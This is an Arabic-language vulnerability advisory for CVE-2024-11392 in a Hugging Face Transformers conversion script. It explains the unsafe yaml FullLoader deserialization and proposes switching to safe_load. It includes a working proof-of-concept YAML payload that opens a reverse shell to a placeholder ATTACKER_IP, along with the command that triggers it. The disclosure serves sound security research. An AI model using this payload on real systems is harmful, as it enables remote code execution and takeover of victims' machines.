
التفاصيل الفنية والاستغلال لـ CVE-2024-11392
نظرة عامة عالية المستوى وتأثيرات الثغرة:
تسمح الثغرة للمهاجم بتنفيذ تعليمات برمجية عشوائية على الجهاز المضيف عن طريق توفير ملف تكوين ضار للنص البرمجي convert_mlcvnets_to_pytorch.py في مستودع Hugging Face Transformers.
إذا استخدم مستخدم غير متوقع نموذجًا من طرف ثالث مصحوبًا بملف تكوين ضار، فإن تنفيذ النص البرمجي convert_mlcvnets_to_pytorch.py سيؤدي إلى تنفيذ تعليمات برمجية عن بُعد (RCE) على نظام الضحية.
المنتج المعرض للثغرة
تحليل السبب الجذري
وصف تفصيلي للثغرة: تنشأ الثغرة من إلغاء تسلسل غير آمن لبيانات غير موثوقة. يستخدم النص البرمجي دالة yaml.load مع المحمل ، الذي يقوم بتحميل لغة YAML بالكامل ويكون عرضة لتنفيذ التعليمات البرمجية.
FullLoaderتدفق الكود من الإدخال إلى الحالة المعرضة للخطر:
ml-cvnet من طرف ثالث مع ملف التكوين الخاص به.convert_mlcvnets_to_pytorch.py ويمرر إليه ملف التكوين.convert_mlcvnets_to_pytorch.py بإلغاء تسلسل ملف التكوين وتنفيذ التعليمات البرمجية الضارة.نقطة الحقن: تحدث الثغرة عند نقطة استدعاء yaml.load(yaml_file, Loader=yaml.FullLoader).
رابط GitHub الدائم: https://github.com/huggingface/transformers/blob/bdb9106f247fca48a71eb384be25dbbd29b065a8/src/transformers/models/mobilevitv2/convert_mlcvnets_to_pytorch.py#L57
الإصلاحات المقترحة: استبدل yaml.load(yaml_file, Loader=yaml.FullLoader) بـ yaml.safe_load(yaml_file) لمنع تنفيذ التعليمات البرمجية العشوائية.
تعليمات تنفيذ الإثبات العملي:
transformers_exploit.yaml لفتح شل عكسية على نظام الضحية:!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1')"
convert_mlcvnets_to_pytorch.py ومرر ملف transformers_exploit.yaml إلى الوسيط --orig_config_path:> python convert_mlcvnets_to_pytorch.py --orig_checkpoint_path dummy_checkpoint.pt --orig_config_path transformers_exploit.yaml --pytorch_dump_folder_path dummy_output --task imagenet1k_256
ملاحظة: يمكن ترك dummy_checkpoint.pt كملف فارغ، و dummy_output كدليل فارغ، و task كأي خيار من الخيارات المذكورة في النص البرمجي.
رابط تحميل البرنامج: https://github.com/huggingface/transformers/tree/main